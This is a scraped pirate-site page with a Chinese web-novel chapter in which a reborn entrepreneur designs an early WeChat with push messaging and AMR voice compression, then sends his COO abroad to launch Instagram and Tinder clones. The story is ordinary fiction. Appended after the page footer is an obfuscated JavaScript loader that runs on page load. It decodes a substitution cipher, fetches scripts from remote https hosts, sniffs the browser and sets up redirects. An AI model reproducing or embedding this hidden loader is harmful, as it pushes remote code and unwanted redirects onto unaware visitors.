首页
[切换至繁体版]
返回

第494章 改变世界。

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第494章改变世界。(第1/2页)
    LY科技极客实验室。
    林渊坐在电脑前,看着屏幕上这版被团队反复修改了无数次、刚刚跑通底层逻辑的“微信DemO”,陷入了沉默。
    作为一个重生的牛马,他可太知道WeChat长什么样了。因为这个软件日后和生活基本上是紧密相接,完完全全没有人不熟悉的。
    无论是UI设计,包括朋友圈、公众号、小程序等等等等,这些功能想必只要是个华国人应该都有印象。
    但是林渊很清楚,很多功能现在是没有办法实现的,内存不够、流量资费太高。
    手机硬件也不支撑,市场生态更加不允许。3G网络和4G网络的差距还是非常大的。
    “林总,这已经是我们能做到的极限了。”技术总监无奈地说,“如果我们现在就把您构想的类似‘朋友圈’这种图片信息流加进去,以目前国内大部分智能机的内存和处理器,打开软件直接就会卡死闪退。更别提什么嵌入式的小程序了。”
    林渊点了点头。他当然知道不能强行上马。
    而且,2010年最致命的瓶颈是什么?是流量资费!
    那时候的移动网络还是2G和伪3G的天下,流量费非常昂贵,“5元30M”是三大运营商的标配。在那个华国普通老百姓月收入普遍只有一两千块钱的年代,谁敢肆无忌惮地开着流量上网?
    “不仅是硬件带不动,流量也是个大问题。”技术总监继续汇报,“正常情况下,如果我们要做即时通讯,为了保证能随时收到消息,软件后台必须处于静默保活状态。这就意味着,软件会每隔几秒钟就不停地向服务器发送‘心跳包’来维持连接。”
    技术总监叹了口气:“如果按照企鹅手机QQ的那套流氓做法,即使用户退出了界面,后台依然在疯狂发送心跳包。这不仅耗电,而且会像抽血一样狂吸用户的流量!老百姓的手机如果每个月因为我们的软件跑掉几十块钱的流量费,我们绝对会被骂死的!”
    林渊深以为然。他现在要铺开市场,就必须向下兼容!只有适配最底层的低端安卓机,在这个大家连苹果iPhOne4都买不起的年代,他的软件才能活下来。
    “那就改掉心跳包的逻辑!”林渊果断下令,直接抛出了自己重生前做外包时积累的经验,“我们不学企鹅日活数据的做法!”
    林渊快步走到白板前,拿起马克笔画了一个简单的流程图:“我们做一个‘极简离线模式’。用户退出软件,连接就彻底断开,绝对不静默偷跑流量。但是,为了保证消息的触达,我们在系统层级接入运营商的PUSh推送机制。有新消息时,只推送一条几KB大小的文字指令,唤醒APP后,再去服务器拉取完整消息。”
    林渊看着技术骨干们:“记住,我们要解决的是人民群众最基础的通讯需求。用的时候就用,不用的时候就退。我们要把‘省电’和‘省流量’,作为我们产品最核心的卖点。”
    技术总监听完,眼睛瞬间亮了,这绝对是一个极具诚意且高级的技术解决方案!
    “但是林总,还有一个最大的难关……”技术总监面露难色,“您要求的那个核心功能——‘语音对讲传输’。算法倒是写出来了,但是流量压缩做不到啊。”
    林渊沉默了。
    确实,在后世4G、5G时代,发个几十秒的高清语音,流量几乎可以忽略不计。
    但在2010年,想要在极差的网络环境下,把一段几十秒的音频文件压缩到极小,并且还能保证对方听得清,这个技术难度非常高。
    但林渊知道,这是他用来颠覆手机短信、甚至颠覆企鹅QQ的超级核武器!
    因为现在智能机刚起步,九宫格输入法都还没普及呢。
    绝大部分中老年人,甚至是很大一部分有消费能力的下沉市场用户,根本不会用手机打字!
    你让一个四十多岁的农民工兄弟,或者一个在菜市场卖菜的大妈,去学习二十六键拼音打字?不可能的!
    但只要他们会说话,按住一个按钮就能把语音发出去,这就解决了全华国人最基础的沟通痛点!
    这个功能肯定不可能不产生流量。但他林渊只需要把语音产生的流量费用低于打电话的通话费用就足够了。
    “语音功能,必须上!算法优化不了我就带你们一起写!”林渊直接拉开椅子坐下,亲自上手。
    他脑子里回忆着后世极其的AMR(AdaptiveMUlti-Rate)语音压缩编码算法。
    “不要用传统的MP3或者WAV格式去录音。”林渊一边敲击键盘,一边指导旁边的程序员,“我们采用AMR窄带语音编码。把采样率降到8kHZ,只要能保证人声的频率可识别就行。把所有的环境底噪全部在录音端进行物理削波过滤!”
    林渊熟练地套用着后世的计算公式:“不仅如此,我们要采取‘动态可变比特率’。当用户说话声音大、信息密集时,比特率调高;当用户停顿、没有说话时,立刻把比特率降到最低甚至不发数据。这样一套算法压下来,一分钟的语音,我们甚至能把它压缩到几十KB!消耗的流量,比发一条彩信还要少几十倍!”
    整个极客实验室的程序员们听着林渊的指挥,全都目瞪口呆,惊为天人。
    接下来的两天两夜,整个团队疯了一样地跟着林渊修改底层代码、重构UI界面。
    当林渊凭借着“倒推答案”的重生者优势,终于把这套在后世经过无数大厂程序员熬秃头才优化出来的通讯算法,成功嫁接到2010年的测试机上时……
    整个实验室爆发出一阵难以压抑的欢呼声!
    “行了,你们就按照我给的这个底层框架,继续跑稳定性测试。”将近两天没合眼、双眼布满血丝的林渊打了个大大的哈欠,“第一版‘微信1.0’,只要保留文字通讯和语音对讲这两个核心功能就足够了。越简单,越好用。”
    交代完所有的核心事宜,林渊回到自己的休息室,倒头就睡。
    这也就是年轻,年轻就是好,年轻就是棒,年轻就是猛。
    这一觉睡得昏天黑地。
    等林渊再次醒来时,已经是第二天下午。洗了个澡,吃了一顿丰盛的晚餐补充体力后,林渊坐在办公室里,从保险柜里拿出了两部另外的测试手机。
    这是林渊早就立项的另外两个针对海外市场的社交App.
    一个是InStagram(照片墙),另一个是Tinder(探探的原型,滑动交友)。
    林渊很清楚,国内的战场是为了未来AI数据的大模型交互提供土壤。
    但真正能赚取海量美元、收割全球影响力的,还是海外的移动互联网市场。
    很多人对于AmeriCa没有任何的概念。这么说吧,讲个简单的例子,AmeriCa消费的能力。是普遍高于华国人的10倍左右。如果你对这个还没有一个基础的认知,就比如床单被套,他们一年可以换四次。
    而且这会还是2010年。这个数据只会更高,不会更低。
    AmeriCa是世界最大的消费国,没有之一,无人可望其项背。做生意第一个选的是谁?那就是这里。只要在这里,你的消费模式得到验证,得到跑通,那么你就等着数钞票吧。
    所以,几乎所有的成熟的商业案例和先进的销售模式,都从这个地方开始。因为有经济就会有发展,有发展就会有创新。
    但是,就是因为消费能力强。所以竞争压力也会空前的巨大。
    思考了半天。
    林渊决定先启动InStagram抢占图片社交赛道。
    至于Tinder,可以等InStagram把用户基本盘做起来之后,再推向市场。
    因为图片社交契合当下的3G网络,更像是这个时代的产物。而Tinder虽然功能更加完善,而且是一片蓝海,但是安卓机型在此刻还没有全面跟上iPhOne的配置。
    做市场首先考虑的就是用户基数,基数不大,适应人群不够多,那么这个产品注定它的上限就不会高。
    但是Tinder是面向全人类,只要是人就会有需要,因为没有人不想涩涩。也没有人不需要社交,至少99%的人都需要。
    但现在问题来了:林渊自己绝不可能亲自去海外掌舵。
    他的身份太敏感了。作为LY科技的创始人和国内O2O、云计算的先行者,他一旦频繁出国甚至长期滞留海外,国内的市委班子会怎么想?
    最重要的是,他绝对不能放弃华国国籍。无论是哪个国家,对于涉及海量用户隐私和数据安全的顶级社交软件,对非本国籍的创始人都有着绝对变态的审核和排斥。
    想要在海外开疆拓土,他必须找一个绝对信任、且身份完美契合的“代理人”。
    代理人、外籍。想到这里,林渊眼睛一亮,随即叫来了自己的COO庾明轩。
    没过多久,COO庾明轩推门走了进来。自从林渊把陈志明那间办公室赏给他之后,这家伙最近的心情可谓是好得不得了。
    虽然他也不知道为什么林渊不想要这间办公室,但是白嫖的就是香,管他呢。
    “林总,睡醒了啊?今天有什么重要指示?”庾明轩一如既往地有些不着调。
    林渊没有接他的玩笑,而是指了指对面的椅子,神色认真:“庾总。我要郑重地拜托你一件事情。”
    见林渊难得这么严肃,庾明轩也收起了笑脸,坐直了身子:“林总你说。”
    “我希望你辞去国内的一切职务,立刻前往美国硅谷。”林渊直视着他的眼睛,“在海外成立独立的全资公司,帮我把这两个极其关键的项目,推向全球。”
    庾明轩听完,满头问号,像看神经病一样看着林渊:“啊?为什么要这样子?,你去不就行了?”
    林渊叹了一口气,语气中带着一丝无奈:“我去不了。你是美籍华人,拥有海外的社会关系和身份背书,但我不是。这两个软件,如果按照我的设想发展,未来必定会成为市值几百亿甚至上千亿美金的超级独角兽。我一个纯正的华国人,FBI是绝对不会让我这种带着华夏背景的人,去掌控他们国民级社交命脉的。”
    庾明轩面色古怪地看了林渊半天,最后实在没忍住:“林总,你是不是这两天敲代码把脑子敲糊涂了?还千亿美金?还几个?你疯了吧?”
    林渊直接翻了个白眼:“哎,跟你这种不懂技术的真是解释不通。我问你,一年前这个时候,我在干嘛?你在干嘛?”
    庾明轩愣住了。一年前,林渊还是个在仙林大学城倒腾打折券的穷学生,而他还是个在华尔街投行里给人当高级打工仔。
    “现在呢?我身价几十亿。”林渊靠在沙发上看着他,“而你呢?你是不是还在给我这个大二学生打工?”
    这句话直接把庾明轩给噎了个半死。他张了张嘴,想要反驳,却地发现……他妈的,这小子说的好像真的有点道理啊!
    看着难得吃瘪的庾明轩,林渊哈哈大笑,觉得自己终于在这家伙面前赢了一次。
    “行了,你必须去,因为你的身份和你的华尔街运作能力,比我更适合那个市场。”林渊收敛了笑容,语气变得很有煽动性,“庾总,我们当初可是说好了要一起改变世界的。你不会忘了咱们最初的梦想了吧?”
    庾明轩被他这种违和的热血中二台词搞得一愣一愣的:“这个软件真的能改变世界?”
    “真的。你自己看看。”林渊把桌上的测试机推了过去。
    庾明轩凑过去,点开了屏幕。
    映入眼帘的,是InStagram极简UI界面。正方形的照片画幅,细腻的复古滤镜选项,以及简单到极致的“点赞、评论、分享”交互逻辑。
    (本章未完,请点击下一页继续阅读)第494章改变世界。(第2/2页)
    这是基于iPhOne手机端高画质屏幕量身打造的图片社交软件。用过iPhOne4的人都知道它的视网膜屏幕有多夸张。
    而目前市面上,连一款能完美呈现这种画质、并且自带滤镜分享功能的同类软件都没有。
    这,就是降维打击!
    接着,林渊又点开了另一部手机里的Tinder演示版。
    当庾明轩看到屏幕上那个“左滑无感、右滑喜欢、互相喜欢就能直接聊天”的极其原始但直击人性欲望的UI界面时……
    这位资深老色批,眼睛瞬间亮得如同两千瓦的探照灯!
    “卧槽!”一向比较沉稳的庾明轩,此刻也不禁惊呼出声。
    别人可能只看到这是一个交友软件,但他不一样,他是COO。
    庾明轩这个人一直非常具有商业的投资眼光。人类底层的需求是什么?
    首先就是生存,然后就是繁衍。
    这个软件代表着可以打破现实中物理的局限性。无
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();